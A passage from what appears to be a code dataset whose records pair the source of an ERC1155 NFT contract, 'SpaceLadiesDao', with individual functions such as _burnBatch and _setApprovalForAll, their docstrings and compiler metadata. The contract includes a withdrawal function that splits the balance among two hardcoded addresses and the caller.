* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
address payable internal dao = payable(0x7235a999B091c6e5D28ae25753D439983a49498F);
address payable internal iv = payable(0x42C217E317E0494A339d6283eb7Ac0A048d93063);
function _withdrawAll() internal virtual {
uint256 balanceDao = address(this).balance*20/100;
uint256 balanceIv = address(this).balance*12/100;
uint256 balanceOwner = address(this).balance-balanceDao-balanceIv;
payable(dao).transfer(balanceDao);
payable(iv).transfer(balanceIv);
payable(_msgSender()).transfer(balanceOwner);
}
} | /**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/ | NatSpecMultiLine | _burnBatch | function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
}
| /**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | None | ipfs://84e93e5764a57e0919fa584a5800574f4946763ffc2cacdecf9f69a7713b5ab3 | {
"func_code_index": [
10980,
11876
]
} | 8,809 |
SpaceLadiesDao | SpaceLadiesDao.sol | 0xbbc95ec045193c0ab7e3a549b296e66048350cc2 | Solidity | ERC1155 | contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI, Ownable {
using Address for address;
using Strings for uint256;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string public _uri;
/**
* @dev See {_setURI}.
*/
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256 tokenId) public view virtual override returns (string memory) {
string memory baseURI = _uri;
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: 'uri not set';
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
address payable internal dao = payable(0x7235a999B091c6e5D28ae25753D439983a49498F);
address payable internal iv = payable(0x42C217E317E0494A339d6283eb7Ac0A048d93063);
function _withdrawAll() internal virtual {
uint256 balanceDao = address(this).balance*20/100;
uint256 balanceIv = address(this).balance*12/100;
uint256 balanceOwner = address(this).balance-balanceDao-balanceIv;
payable(dao).transfer(balanceDao);
payable(iv).transfer(balanceIv);
payable(_msgSender()).transfer(balanceOwner);
}
} | /**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/ | NatSpecMultiLine | _setApprovalForAll | function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
| /**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | None | ipfs://84e93e5764a57e0919fa584a5800574f4946763ffc2cacdecf9f69a7713b5ab3 | {
"func_code_index": [
12013,
12349
]
} | 8,810 |
SpaceLadiesDao | SpaceLadiesDao.sol | 0xbbc95ec045193c0ab7e3a549b296e66048350cc2 | Solidity | ERC1155 | contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI, Ownable {
using Address for address;
using Strings for uint256;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string public _uri;
/**
* @dev See {_setURI}.
*/
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256 tokenId) public view virtual override returns (string memory) {
string memory baseURI = _uri;
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: 'uri not set';
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
address payable internal dao = payable(0x7235a999B091c6e5D28ae25753D439983a49498F);
address payable internal iv = payable(0x42C217E317E0494A339d6283eb7Ac0A048d93063);
function _withdrawAll() internal virtual {
uint256 balanceDao = address(this).balance*20/100;
uint256 balanceIv = address(this).balance*12/100;
uint256 balanceOwner = address(this).balance-balanceDao-balanceIv;
payable(dao).transfer(balanceDao);
payable(iv).transfer(balanceIv);
payable(_msgSender()).transfer(balanceOwner);
}
} | /**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/ | NatSpecMultiLine | _beforeTokenTransfer | function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
